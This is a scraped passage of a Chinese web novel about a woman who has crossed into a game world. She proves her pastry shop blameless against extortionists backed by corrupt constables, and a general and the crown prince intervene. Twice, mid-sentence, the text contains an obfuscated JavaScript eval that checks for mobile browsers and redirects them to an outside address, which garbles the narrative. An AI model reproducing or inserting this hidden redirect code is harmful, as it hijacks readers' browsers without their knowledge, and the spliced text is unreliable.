她这话问得对面那几个人一愣,却又很快反应过来,道:“谁会记得那么多的事情?” “不过就是随便买的几种糕点,又有谁会记得你们店员长啥样。” “我看你就是想赖账,才扯这么多有的没的!” 那几人也不知从哪里找来的,皆长着凶恶异常的脸,简直像是什么亡命天涯的逃犯,瞪着眼睛和曲昭盈说话时,仿佛下一秒就要扑上来撕咬她的皮肉似的,叫曲昭盈无端地有些害怕,下意识地拽着卫沉的袖子,好似这样就能叫她多生出来些勇气一般。 “我总要确认了你们是真的吃坏了,才能赔钱,怎么能说是赖账?” “就是!”曲思盈从护卫和掌柜的身后探出个头来,附和道,“证据拿出来!” 曲昭盈问得有理有据,围观的人自然也纷纷向着她说话,奈何这几人是铁了心来闹事的,自然也不可能和曲昭盈讲什么道理,一见形势不利,便有一个人忽然“咚”地一声往地上一倒,边上的人立刻大叫道:“吃死人了!你们店里东西吃死人了!” 那人分明还睁着眼睛、好好的在呼吸呢,怎么就说死了?! 当下场面一时间混乱不堪,曲昭盈张口想争辩,声音却全叫那些人的叫喊声掩盖了去,正焦灼时,不知人群中谁喊了句“官府来人了!”,众人闻声纷纷向后看去,果真见几个捕快从人群之中走了出来,直勾勾地走进了店里。 “干什么!”为首的捕快大喝一声,“都在闹什么!” 曲昭盈还未来得及张口,就听得那闹事的人迫不及待地大声嚷嚷道:“她们店里的东西吃坏了人!我们上来要赔偿她们还赖账!” “官爷来评评理!” “胡说!”曲昭盈即刻辩驳道,“是你们胡搅蛮缠,拿不出来证据!” 捕头往曲昭盈的方向一看,又环视了一眼地上的狼藉,干笑了一声道:“就算是真的吃坏了你的肚子,也不至于把人家的店砸成这样。” “咱们也是心里着急,”大汉理直气壮,“若是她们老实承认了,那我何必费这力气您说是不是。” “我们没错,又哪里能随便承认?”曲思盈有些怒了,说话的语调高昂又尖锐,“你若拿出证据来,我不仅给你赔钱,还跪在这里喊你三声爷爷!” “好了,好了”捕头看他们之间剑拔弩张,出言调停道,“既然你说你吃坏了,那就叫大夫来看看,咱们再做定夺!” 说罢他也不等人回答,大声道:“去,把大夫叫来!” 他话音才刚落,便有个提着药箱的中年男子从人群中钻了出来,那人身材矮小,穿一身粗布衣裳,竟不知究竟是何时在人群中候着的——曲昭盈一见他走来,心里莫名地砰砰跳了几下,有种莫名的心慌在她的胸腔中蔓延开来,宛若有什么坏事即将临头一般,叫她不安极了。 那大夫提着厚重的药箱,目不斜视地往那群闹事的人身边走去,他在那倒地的大汉身旁蹲下,熟练地将手搭在那人的脉上,只见他眼睛转了转,口中喃喃自语似的嘀咕了两句后,这才站起身来道:“这位兄台确实是吃坏了肚子。” 在场众人一片哗然,就听得一人冲曲思盈大笑道:“听见没有!还不跪下叫爷爷!?” “你今日不跪下,老子从明天开始就天天带人上门砸你的店!我看你还有没有本事开门做生意!” 曲思盈满面通红,此时倒也忘了怕了,当即与那几人面红耳赤地争执起来,曲昭盈一动不动地站在原地,旁人看着好像被吓傻了似的,心中却是在想着这一切实在是太不对劲了。 地上躺着的那人满面红光,一副中气十足的健康模样,显然是连装都懒得去装一下,又怎么可能得出他确实吃坏了的诊断?这大夫究竟是从哪里来的?是捕快们一开始就带来的吗? 曲昭盈的爹是朝中四品管员,在这京城之中虽说够不上翻云覆雨,却也足够能叫人忌惮三分,官府与捕快又怎么可能这样去为难她们姐妹二人?别说是她们店里东西没问题了,即便是真的有什么问题,按照官府的处事风格,也绝不可能这样简单粗暴地给她们定罪,一定会先和稀泥,将对方的情绪安抚住再说。 现在这样,倒像是他们与官府勾结在一起,早就已经已经打定了主意要叫她们背上这口黑锅似的。 可问题是,为什么? 是谁要害她们? 能叫官府听令行事的人显然不是一般角色,但她却也不知道自己或是曲思盈究竟得罪了谁,才会值得对方大费周章地来对付她们二人,只是她还未来得及继续细想下去,就见那几个闹事的人气焰嚣张地妄图对曲思盈动手,那些个捕快官兵好似看戏一般站在边上,半点要上手制止的意思都没有。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16017906|174338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曲昭盈吓了一跳,赶忙让卫沉去帮忙,又强撑着叫自己镇定下来,在那些个人被卫沉和其他店员拉开之后,大声呵道:“别闹了!” “我只问你们一个问题!”曲昭盈有些急,说起话的语速也快了三分,“你们今早什么时辰来买的?” 许是看着她们姐妹二人被逼的没了办法,他们几个人又仗着身边有官府撑腰,觉得她二人已经翻不了身,当下便起了嘲笑她们的心思,讪笑着答了曲昭盈一句:“巳时来的,怎么了?” 反正他们都已经胜券在握,倒不如逗一逗这丫头,好叫她知道什么叫做绝望。 他们终于给出个回答来,叫曲昭盈总算松了一口气,她看了一眼身旁的莲心,莲心立即福至心灵,小跑着冲进后厨里头去,没多久就端着个盖着白色布子的木托盘出来了。 “小姐,各位官爷,”莲心将那托盘端到众人面前来,“这是巳时出炉的糕点留样。” 她将盖着的布子掀开了,里头整整齐齐地码着十来个形状各异的糕点,上头还放了个巴掌大的木牌,用毛笔写了“四月廿七,巳时”几个大字,曲昭盈看着面面相觑的众人,张口与他们解释道:“我们店中每一批出炉的点心,店员都会拿一份出来留样,以方便出事的时候检查。” “既然几位说记不得自己买了哪些,那么干脆就全都查一遍,好叫大家都看看,究竟是哪一个糕点出了问题。” 她不卑不亢,说话的声音却刚好能叫在场的每个人听到,只见她说完这番话后,又侧过脸去盯着那个矮小的大夫看道:“请先生查看。” 那个蓄着山羊胡大夫似乎没想到曲昭盈还藏有这一招,一时间有些怔了,那几个大汉下意识要冲上来去掀翻莲心手里的那一盘点心,还是卫沉反应快一步,直接上手把人按倒了,莲心赶忙抱着那托盘往后跑,立马被徐掌柜和曲思盈的侍卫护在了身后。 “你们干什么!”徐掌柜喊道,“心虚了不成?!” 曲昭盈走上前来,将莲心手里的托盘拿在自己手里,对那大夫道:“请先生上前查看。” 那大夫看了看几个闹事的大汉,又看了看站在自己身后的官兵捕快,这才踌躇着走上前去,装模作样地掰开几个点心看了看,又看了看,清了清嗓子道:“这……这……” “既然吃坏了人,那就是每个都有问题……” 曲昭盈料到他一定会颠倒黑白,此刻倒也不慌不急了,确认似的开口问道:“先生的意思是,这一盘子十几种点心,每一个都是坏的是吗?” 那大夫点头应声道:“是的,是的。” 他瞧着曲昭盈娇滴滴一个姑娘家,被几个男人这样欺负,多少有些于心不忍,劝道:“我劝姑娘莫要嘴硬,还是老实给人家赔钱吧。” 曲昭盈却是一笑,伸出手去拿起一个糕点来,高声道:“既然如此,那我就当着大家的面吃一个。” “便让各位都瞧一瞧,我们店里的东西究竟有没有问题!” 22.第二十二章 夏季还未到来,但小满已经过去,天气一日日的热了起来,到了中午时,太阳挂在天上,像个火炉似的烧着,烧的地面都开始蒸腾起热气,偶尔刮过一点风,却像是在炉灶跟前吹过的热风,闷的人身上顿时出了一层薄汗。 点心铺被人堵了个满满当当,风与空气都被那些男人堵在了门外,只有一点光从人群之中渗进来,像碎银一样落在地上,又被那些人的脚步踩地稀碎,屋里头糕点香甜的味道与那些男人的汗臭味混杂在一起,毫不留情地往曲昭盈的鼻腔里钻,叫人莫名地觉得有些恶心。 她分别掰了两块点心,就着凉透的茶囫囵咽进肚子里,之后便巍然不动地坐在众目睽睽之下,眼看着时间一点一点过去,一刻钟又一刻钟的过去,等到围观的人渐渐地都没了耐性,走了一拨人又换了一拨人,曲昭盈都半点没有不舒服的模样。 闹事的人显然不会叫她这样顺利自证,在她要吃糕点时就冲上来要打人,只是官府的人好歹都已经来了,怎么说面子上都要要过得去些,多少还是出手拦了拦他们,不至于叫他们真的上手去打人,只是人虽然被拦着了,但他们的叫骂之声仍旧不绝于耳,曲思盈与店员自然不肯乖乖挨骂,你一眼我一语地面红耳赤地吵了起来,吵闹的声音好似指甲抓黑板一样尖利,听的人头痛极了。 曲昭盈不说话,也不动弹,她只坐在凳子上,好似看不见、听不见旁人的动静似的,她在金色的尘埃中宛若一尊无悲无喜的白瓷观音像,耳朵上坠着的一点翠色像是观音尚未来得及落进地里的泪珠,一动不动的挂在空中,隐隐约约地跃着翠色的光。 她半垂着眼皮,一双眼死死盯着门外的动静,越看便越觉得心里越慌乱。 曲兰生呢?她想。 为什么曲兰生还没有来? 曲夫人呢?为什么曲夫人也不来? 曲思盈的侍女应该早就去鸿胪寺将此事告知了曲兰生,按理说来说曲兰生早就应该来看看情况了,哪怕今日鸿胪寺公务再怎么繁忙,他也一定会想办法托人来此看看情况的。 毕竟在这游戏原本的设定里,曲兰生与曲夫人对曲思盈这个才貌双绝的女儿疼爱非常,若是有条件,只怕连星星月亮他们都要捧到她的面前来给她,此刻曲思盈店里出了这样大的事,他是决计不可能对这样的事态无动于衷的,又怎么可能这么久都没个动静? 她吞下这些糕点不过是缓兵之计,曲昭盈心里头清楚,对方既然有本事勾结官府,那今日一定不会这样简单就叫她打发了,此时他们只是和店员互相骂上几句,也不过是因为自己打了他们个措手不及,叫他们一时间没反应过来罢了。 等到他们反应过来后,又怎么可能这样轻易放过她们?即便今日他们没了办法先行离去,但又怎么可能这样善罢甘休?日后他们一定会再次找上门来闹事,今日说她们的东西吃坏了人,明日砸一砸店里的东西,这样一日日地重复下去,她们这店又要怎么开下去? 这样一来,她与曲思盈投的钱与精力不仅白费,还要亏掉一大笔的钱,这又叫她如何能接受? 曲昭盈深知自己和曲思盈根本没有任何能力和办法解决现在的情况,只能寄希望于曲兰生来周旋,可她等了这样久,却是连曲兰生的影子都没见到。 曲思盈与那帮人吵得累了,脑袋都有些缺氧,正坐在曲昭盈身旁喘气,见曲昭盈一言不发地盯着门口,也逐渐觉察出些不对劲来,低声和她说道:“曲兰生怎么还没来?” “我不知道,”曲昭盈轻轻摇了摇头,“但我觉得……他可能来不了。” 对方既然铁了心要找她们的麻烦,现在想来应该也是做了万全的准备,他们一定用了什么方法把曲兰生牵绊住了。 曲思盈显然有些急了:“那怎么办?” 她看着围堵在店里的人,又看了一眼坐在身旁的曲昭盈,焦急地问她:“你现在怎么样,肚子疼不疼?没有吃坏吧?” “没吃坏也没用的,”曲昭盈叹了一口气,她侧过头来,小声在曲思盈耳边问道,“你那边能不能找到类似的剧情?有没有什么办法?” 曲思盈赶忙又打开系统,来来回回地反复查看剧情,过了小半晌才道:“有个类似的,是在我开业快半年以后,有人来讹钱。” “剧情里是秦景和恰好路过,过来帮我……” 她话音才落,忽然见得有一人拨开人群走了进来。 那人身材高大,走进屋里来时,有一束光随着他一起照了进来,落在褐色的地毯上,像是要把那地毯烧出一个洞来,温热的风终于能从那密不透风的人墙里吹进来,终于能叫店里令人作呕的气味消散了一些。 曲思盈看见来人的模样,面上的表情显然松快了些,曲昭盈顺着她的目光一看,果真见到秦景和走到了自己面前来。 他穿着身玄色蟒袍,眉头紧皱,背着光站在人群面前,低着头问她:“发生什么事了?” 有那么一瞬间,曲昭盈觉得秦景和大概是老天给她送来的救世主,能够轻而易举地将她从这样如火的泥潭里拽出来,叫她的心里甚至有那么一瞬间的松动。 曲思盈更是宛若见到救星——虽然时间线对不上,发生的事件也有所不同,但秦景和却真的和剧情里写的一样出现在这里,像剧情里那样开口问她的话,摆明了就是顺着剧情发展来救她们的。 她慌忙将今日这些事倒豆子似的一股脑给秦景和讲了,秦景和听罢,果真转过身去对官兵捕快道:“你们怎能如此草率就给曲姑娘定罪?” 秦景和本就一身正气,向来见不得这些不平事,他近来本就对曲昭盈莫名在意,又见官府这般颠倒黑白,自然一时间怒火中烧,大声问道:“证据呢?” “哎哟,小将军,”捕头终于没了方才的气焰,赔笑着走上前来,打哈哈着道,“咱们也不是胡来的嘛。” “既然不是胡来,那便拿出证据来,”秦景和眉头紧皱,半步不让,“你们说她们店里点心有问题,何以曲姑娘吃下去这么久了,一点问题都没有?” 闹事的人听罢冷笑一声:“她吃的那一块恰好是好的呗!” “那你说,哪块是坏的?”秦景和伸出手去,像拽鸡崽似的一把将那留着山羊胡的大夫提溜了过来,有几分凶恶地道,“你说,我现场吃给你看!” 那大夫被他这样一拽,顿时抖若筛糠,哆哆嗦嗦不知说什么才好,反倒是方才呛秦景和的大汉继续笑道:“哟,这是英雄救美来了。” “他娘的,装什么装,”另外一人啐了一口,“这么有本事你掏钱出来替她赔了!不给钱就快滚!” “少他娘的在你爷爷面前逞威风。” “什么将军不将军的,老子在街上混的时候你还在穿尿布!” 秦景和少年将军,在朝中如何威风,那些官兵捕快看见他各个点头哈腰,便是不认得他的人也多少能看出他是个不好惹的人物,但这些人却半点不忌惮他,捕头赶忙叫人把他们的嘴捂着了,赔笑道:“小将军您消消气,消消气。” “都是些不入流的粗人,您犯不着和他们置气。” 他把那矮小的大夫从秦景和的手下解救下来,笑得脸也快僵了,像是被随手捏出来的糖人,表情都快被风吹干在脸上:“小将军,咱们也就只是来干活的,您也就别为难咱们这些小虾米了。” 捕头压低了声音,在秦景和的身边道:“您还是别多管闲事了,万一为了这俩人反而给自己惹祸上身,多不值当呢您说是不是?” 他这话声音虽低,一字一句又像断了线的珠子似的崩落开来,曲昭 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那一日她为了救春桃顶撞谢懿玄的记忆好似走马灯一般在曲昭盈的眼前闪回了出来,想来在那一日谢懿玄就记恨上了自己,只是这些日子过得顺遂,她还以为谢懿玄并不和她计较这事,也就叫她渐渐地忘了。 她又想起身在宫中的的春桃。 也不知她如今怎么样了? 谢懿玄既然会这样对付自己,又怎么可能轻易放过春桃?她在宫中可会有危险? 她是不是该想办法提醒她一句,叫她千万小心谢懿玄? 秦景和不傻,自然也听出来捕快的弦外之音,他怒不可遏,大声吼道:“是谁指使你们欺凌妇女?!你说出来,我亲自找他说理去!” 他这话一说出口,那几个大汉便大喊他欺负人,外头看热闹的人只觉得没头没尾不明所以,纷纷指责秦景和一个将军和四品官员女儿仗势欺人,场面一时间混乱极了,曲昭盈也急了,一下从凳子上站起身来,想要再为自己争辩几句,却忽然听得外头有个中气十足的声音拉长了嗓子喊道:“太子驾到——” 在场众人心下皆是一惊,纷纷跪下行礼,曲思盈面露惊喜之色,小声对曲昭盈道:“有救了。” 谢聿珩换了一身衣裳,头发以玉冠整整齐齐束在脑后,全然没了方才在东宫中与曲昭盈谈话时那可怜兮兮的模样,又变成了那个高高在上、难以攀附的太子殿下,仿佛多看他一眼都是罪过。 他慢慢悠悠地走进屋里,环视了一眼跪在地上的人,出言让秦景和与曲家姐妹站起身来,这才去问秦景和:“出什么事了?” 秦景和走上前和他打过了招呼,简明扼要地将店里的事与他讲了,谢聿珩冷笑了一声,侧过头去冲身旁的侍卫吩咐道:“去把刘太医请来。” 那侍卫当即转头小跑着走了,谢聿珩又走到那摆着点心的托盘前,伸出手去捏起一个已经风干的点心来,侧过头去问跪在地上、脑袋都贴在地面上的大夫:“这个糕点是坏的吗?” 他这话说好似在向夫子发问的学生,却像把刀一般抵在人的脖子上,随时都可能穿透他人的脖颈,听得那大夫支支吾吾,并不敢回话,谢聿珩将那一块糕点放下了,又捏起另一块糕点,继续问:“这个呢?” “殿下……” 捕头低着头,小心翼翼地开口试图要和他解释,却听得谢聿珩开口又说了句:“说话之前要掂量清楚。” 谢聿珩的声音没有半点波澜起伏,像落进瓷碗里的冰块撞击出清脆又冰凉的调子,分明干净又好听,却听得人无端起了一身鸡皮疙瘩。 “欺骗本宫是杀头的大罪。” 此言一出,众人顿时噤若寒蝉,无人敢再吱半声了。 没多久方才那去喊太医的侍卫去而复返,朗声道:“殿下,刘太医已经带到。” 23.第二十三章 刘太医今日不当值,又正巧住在这条街头,前后不到半刻钟便被侍卫风风火火地拉到了现场来。 他也不敢多问什么,只按着谢聿珩的指示去给躺在地上的男人诊脉,又一个个去查看放在托盘里头的点心,周遭的人群安静的似乎连大气都不敢出一声,仿佛连根针落在地上的声音都能听见。 刘太医仔仔细细地查看完了,这才站起身来,向谢聿珩作了个揖,道:“回殿下,此人身体并无异样,这些吃食也未见什么问题。” 他话音才落,便听得谢聿珩冷笑一声,还未见他有什么吩咐,太子的侍卫就已经上手去押那些闹事的人和官府的捕快,连那大夫也一并抓了,一时间叫骂与求饶声不绝于耳,谢聿珩却恍若未觉,只侧过头对身边的人吩咐了两句,这才对曲家姐妹二人道:“放心吧,以后不会叫他们再来找你们麻烦。” 外头的人见此时尘埃落定,顿时也如走兽一般散去,留着这一店的狼藉叫人收拾,曲思盈一听谢聿珩与自己说话,方才的慌乱瞬间叫她抛到了脑后去,当即打起精神来向谢聿珩道谢:“多谢太子殿下救命之恩。” “何来救命之恩,”谢聿珩笑了笑,“曲姑娘言重了。” 曲思盈一见他笑,整张脸顿时有若火烧一般红了起来,心里头除了少女怀春的羞涩之外,又多了些莫名地自卑与不自在,总要去想自己此时的衣服是否得体、头发乱不乱,妆容有没花——早知今日会遇到谢聿珩,她便打扮得漂亮些再出来了,也不知方才自己跟人面红耳赤吵架的样子有没有被他看见,要是叫他觉得自己是个不讲道理胡搅蛮缠的泼妇,岂不是一切都白费了。 刚才自己就不应该出头,这些事全部叫曲昭盈管就是了! 她有些局促地拨弄着自己的发尾,低着头有些不敢看谢聿珩,嘴上咕哝似的道:“若没有殿下相助……今日还不知要怎么收场。” “当然算是救命之恩了。” 她二人在这头说着话,秦景和也不闲着,他高大的身子往曲昭盈的面前一挡,问她:“姑娘可是吓着了?” 曲昭盈心底再如何不想见他,今日到底也受了他的帮助,当下便笑了笑,向他行礼道:“今日多谢小将军仗义执言。” 秦景和被她这样正经地道谢,反而有些不自在起来,他挠了挠自己的脸颊,像个无措的少年人似的笑了一声,这才道:“曲姑娘不必如此。” 他的眼睛一眨不眨地盯着曲昭盈在看,看见她白透明一样青白瓷似的皮肤因为慌乱急躁而泛起的一点红色,被汗湿的鬓发贴在她的额角上,像是被仔细描摹在瓷器上的花蕊,水盈盈的眼里含着清泪似的,叫秦景和觉得她像个娇滴滴的瓷人,只怕连说话声音重一些都要将她吓碎了似的。 “上次在曲江园多有得罪,”秦景和不自觉地放缓了声音,低着头对她道,“是我猪油蒙了心,冒犯了曲姑娘。” “我一直想向姑娘当面道谢,奈何总是没找到机会。” 他说话的语气与声音十分真切,叫哪怕曲昭盈一直想要找机会避开他,今日也不好意思轻易将他打发了,只好顺着他的话接道:“秦小将军严重了,那日之事我并未放在心上。” “那怎么成?”秦景和有些急了,“你怎得和个泥人似的,连点脾气都没有?我都那么没规矩了,你骂我几句都是应该的。” 曲昭盈又怎么可能是个没脾气的?只是她一心想着早点回家,接触这些男主角也都带着攻略的目的,不想在自己的任务目标之外花费太多的心思,这才懒得去考虑其他人的心思与想法,但这话她又不可能和秦景和直说,只含含糊糊地道了声:“秦小将军没什么恶意,我自然是不生气的。” 秦景和从未见过这样乖巧又温柔的姑娘,她说话的声音像柔软多情的春雨,细密地落在秦景和的心尖之上,让他没来由的想笑:“但我想向姑娘赔罪。” “未知姑娘喜欢什么?只要你想要,便是什么奇珍异宝我都会寻来给你。” 曲昭盈连忙摆手要拒绝,却听得身旁一直弯着腰默默收拾东西的卫沉冷不丁地说了句:“小姐不需要。” 他近日本就因为太子对曲昭盈的亲昵而心神不宁,此时又杀出个将军来,叫他心里更是乱的好似叫人胡乱踩过一样,比这屋里东倒西歪的座椅还要狼狈上三分,他几乎是下意识说了这样的话,又立马意识到自己僭越了,当即闭上嘴不再言语,秦景和却觉得他莫名其妙,道:“你一个下人,怎么敢替你家小姐做决定?!我看你是仗着曲姑娘脾气好,一条狗尾巴也敢翘到天上去!” 秦景和在军营摸爬滚打多年,对于上下尊卑有着铁一样的执念,自然见不得卫沉这般目无尊卑,更何况上次在曲江园也是这侍卫没大没小地拦着自己,他自然不会给人好脸色,却又碍于那人是曲昭盈的下人他并不好出言管教,只说这一句就做罢了,卫沉叫他一句话训斥的面红耳赤无地自容,倒是曲昭盈眉头一皱,道:“我确实不需要,他也没说错。” 她要攻略卫沉,自然要向着他去说话:“我的人我自会管教,不牢您费心。” 说罢她转身就想离去,秦景和一看便急了,连忙去喊她:“我错了,我不该对姑娘的人出言不逊。” “姑娘莫生气。” 方才他还觉得她是个没脾气的乖巧姑娘,此时这样发起怒火来,倒让秦景和觉得她愈发的鲜活可爱,也让他一张嘴就忍不住想去哄她:“我给姑娘赔罪,行不行?” 曲昭盈是真的不想再与他有什么交集,当即就要拒绝了他,却听得突然有人开口问了句“你做了什么要向她赔罪?”曲昭盈听的心里“扑通”一跳,却见谢聿珩不知何时神不知鬼不觉地出现在了秦景和的身后,而方才和他说着话的曲思盈,正呆呆地站在谢聿珩的身后一动也不敢动,只是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054996|174338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双眼还要一眨不眨地盯着曲昭盈看,期盼着她能识相一点,找点找个理由开溜了才好。 谢聿珩嘴角挂着笑,眉眼里头却半点笑意也无,叫人实在难以分辨出他的情绪来,秦景和没觉察出他的异样,十分干脆又豪爽地道:“方才我出言不逊,得罪了曲姑娘。” 他似乎对开罪了人这件事十分自豪与开心似的,还能扯出个笑脸来对曲昭盈说:“日后若是姑娘有什么用得上我的地方,尽可开口和我说!” “秦某义不容辞!” 他这话才说完,就见谢聿珩似笑非笑地往曲昭盈的方向望了一眼。 “是吗。”他看向曲昭盈的目光好似一条黏腻又阴冷的蛇,心底好似被千万只蛇压的不得喘息,脉搏的跳动与蛇这些蛇的搏动纠缠在一起,让谢聿珩快要喘不过气来。 可他却依旧能够像一尊神像似的站在那里,用那无悲无喜的声音开口问她:“曲姑娘需要什么帮助吗?” 一时间屋内所有的主要角色都齐刷刷地盯着曲昭盈看了过来,先前被打翻在桌子上的酸梅汤正顺着桌沿一滴、一滴的往下漏着,甜腻的汤汁无声地落进地毯里头,在曲昭盈听来却好像催命的钟,一声又一声地锯着她的耳朵,恨不得从心底将她凿烂开来。 曲昭盈简直想要大叫了。 这到底是什么修罗场??这些男角色又到底都在发什么疯??为什么他们没有一个人在跟着剧情行动??她这个攻略到底还能不能进行下去?要不然干脆再重开一次得了?! 曲昭盈恨只恨自己身体实在太过健康,不能及时来个什么急火攻心的戏码晕过去得了,她看着自己跟前齐刷刷的四双眼睛,不知道自己到底要怎么做才能叫所有人都满意,不清楚怎么做才能叫自己能顺利走到完美的结局,更不明白自己到底怎么样才能回家去?! 她甚至都不知道自己还能不能回家去了。 曲昭盈的脑袋里头一团乱,无数的思绪与念头泄洪似的涌进她的脑子里,叫她还未来得及想好要开口说些什么,眼眶却是先红了起来,接着便是一滴像裹了水壳的珍珠一样的眼泪从她的眼里”啪嗒”一声落到了地上,在嗓子里奔涌的话与委屈也就随着那滴泪落到了地上,是无论如何都说不出口了。 谢聿珩被她这突然的眼泪吓了一跳,这才懊悔起自己对她逼迫地有些过分了,正想开口向她道歉服软,却见曲昭盈毅然转过身去,留了句“我去帮掌柜的收拾东西,几位请自便,谁也不必来帮我”便飞一般地逃走了。 只是曲昭盈前脚才踏进后厨,后脚却又突然想起自己想要提醒春桃在宫中需要多加小心谢懿玄的事情:她既不想和谢聿珩再有什么牵扯,却又没有什么办法能神不知鬼不觉地给宫中的娘娘捎去什么消息。 曲昭盈长叹一口气——若只是让谢聿珩帮忙带句话给春桃呢? 却也不知道他肯不肯了。 24.第二十四章 谢聿珩当然不肯。 他没在店里做多停留,仿佛他出宫一趟就只是为了替曲昭盈解决麻烦似的,曲思盈对他千恩万谢,又提了几次要答谢与送礼的话,自然都叫他给拒了。 见曲昭盈躲在后厨里头不肯出来,谢聿珩也没了呆在这里的兴致,自然就要走了,太子要离开,曲昭盈自然不能再躲着,与曲思盈一起去送他时,小心翼翼地开口问他能不能帮忙给丽贵人带一句话,谢聿珩眉头一挑,道:“为何我要替你传话?” “有什么话你还是亲自和她去说吧。” 他难得对曲昭盈摆出这样强硬又无情的态度,曲昭盈早就料定他八成会拒绝自己,倒也不怎么意外——谢聿珩是事务繁忙的东宫太子,又受了伤正在养身子,能来帮她解决这一场闹剧已经是开了恩了,哪儿还有让他替自己跑腿的道理? 曲昭盈的良心又不可能让她做到弃春桃的生死于不顾,她长叹一口气,只能再去问问曲思盈的意见,看她能不能看在人命关天的份上,让自己再最后接触谢聿珩一回。 却不想曲思盈一改往日常态,听罢曲昭盈的诉求之后,只稍一思考便答应了。 “毕竟今日是我把你推到前头来顶事的,”曲思盈想起今天自己慌忙喊她上来救命管事的模样,多少觉得有些愧疚,“就当我赔你的。” 虽然心里十分不情愿,但近来遇到这些糟心的意外时,总有曲昭盈站出来去冲锋陷阵,她不愿意欠曲昭盈太多人情,又没什么可以拿来回报的,只能硬着头皮答应了她的要求。 但她却还是不忘补充一句:“但你要发誓,这次结束之后,你就绝对不再和谢聿珩有什么瓜葛了。” 曲昭盈喜出望外,赶忙答应了曲思盈的要求,一回家便立刻差了人将谢聿珩留下来的玉佩送到东宫去,第二日一早,便顺利地收到了谢聿珩的消息。 他给了曲昭盈一封信。 信里要她三日后的傍晚去南市的运来楼,会有人领着她去安排好的房间里,他似乎怕曲昭盈有所顾忌,还特意在信中说自己要避人耳目,并不会出现,倒是让曲昭盈松了一大口气。 早知道谢聿珩这样安排,她又何必纠结这样久的时间?曲思盈原本一夜都没怎么睡好,无数次都在心里后悔自己的决定,晨起时见了这信,一夜未睡的疲倦霎时间从她的身体里飞了出去,高高兴兴地去店里了。 三日后,曲昭盈如约到了运来楼中。 运来楼并算不得长安城中最好的酒楼,只是它已经经营约百年时间,经过几次修缮与扩张,倒也已经成了个响当当的招牌,其雅致幽静的环境十分受得官宦名流的喜爱,谈事办酒时都喜欢到此来。 曲昭盈才踏进店里,便有个小厮模样打扮的人主动来领着她往院子里去。 运来楼的院子被分成了九个独立的小院,在葱郁的树木与花草之中隐藏着青瓦的房间,小厮带着曲昭盈走进最深处那一间院子的门口,低声道:“请。” 细密的树交错地生在白色的矮墙跟前,阳光透过翠绿的树叶在院里落下稀稀朗朗的金影,像是在风中摇曳的金色铃铛,一晃一晃地引着曲昭盈往屋里走去。 她推开深红色的木门,入眼的先是一个黄柳木雕花素屏,将屋里的东西半遮半掩地盖住了,阳光随着她开门的动作钻进屋里,在素屏上开出橙色的花来,曲昭盈绕过那屏风走进屋里,就看见在装修华丽的房间里,正有个人坐在太师椅上。 那人穿着一身青色细布短打,头发也像个寻常男子似的以发带整齐地盘在头顶,若不仔细看,还以为是哪户人家的书童坐在这里,但再仔细一瞧,就会发现那分明是个细皮嫩肉的女子,只是没做任何的梳妆,故意扮成了男子的模样,正是如今在宫中做贵人的春桃了。 春桃正垂眼坐在烟蒙蒙的阳光下,一听见有人进来的声音,当即抬起头来向门口看去,一瞧见曲昭盈从屏风后走了出来,眼睛当即好似燃起的灯似的亮了起来:“曲姑娘!” 她原本模样就长得清秀,如今比前阵子更圆润了些,显得成熟了许多,曲昭盈还未来得及向她行礼喊一声丽贵人,就见春桃已经迫不及待地起身迎了过来,连眼眶都红润了。 “我总算再见着你了!” 春桃一边说,一边“扑通”往地上一跪,带着哭腔道:“那日分别的实在太过匆忙,未能感谢姑娘救命之恩,我实在愧疚异常。” 曲昭盈被她这模样吓了一大跳,行礼的事情也忘了,连忙手忙脚乱地去搀扶她,春桃还想给她磕个响头,硬生生地叫曲昭盈制止了:“你别这样,再这样我走了!” 春桃这才从地上起来了,与曲昭盈一同坐在了两张太师椅上。 曲昭盈拿了帕子叫她把眼泪擦了,这才有些尴尬地说道:“你不必这样向我行大礼,其实那一日我也只是鲁莽而为,并没有真的帮到你什么。” 春桃捏着她的帕子,似乎觉察到曲昭盈话语里的愧疚,当即摇着头道:“若那时没有你,我早就已经死了,又哪来的命在这里与你说话?我在宫中过得再小心,都说明我还活着不是?更何况做个贵人也没什么不好,每日饮食起居都有人伺候,皇帝现在也还算疼我,给了我许多的钱财和首饰。” 她下意识去握曲昭盈的手指,像握住了自己在世间所有的牵挂,像终于寻到了根的浮萍:“只要想起你,再累我都觉得十分值得。” “我只是试着与太子殿下说了一次想当面与你道谢,却没想到真的还能与你再相见!” 曲昭盈并不觉得自己是多么了不起的人物,春桃不给她开口的机会,反而还从怀中掏出个荷包来往曲昭盈的手里塞:“我听说你正在京中开店,女子独自做生意并不容易,这些银钱你先拿着去用,随时都能周转。” “这怎么行?!” 那荷包在手里头沉甸甸的,少说也有二三十两,也不知道她一个贵人究竟是如何攒下这些钱的。 曲昭盈又怎么可能要她的钱? 她连忙把那袋钱往春桃的怀里推,春桃却死活不跟拿回来:“我虽然没读过什么书,爹娘死的也早,但我却也知道滴水之恩当涌泉相报的道理,这点钱又哪里够报答你对我的救命之恩?” 春桃甚至还信誓旦旦地对曲昭盈道:“以后你还有什么需要的,便尽管和我说!虽然我人微言轻,但只要我一口气在,就一定会想办法帮你!” 她说这话的时候,眼底都好像在闪着光似的,曲昭盈实在拗不过她,只好道:“那我先收你五 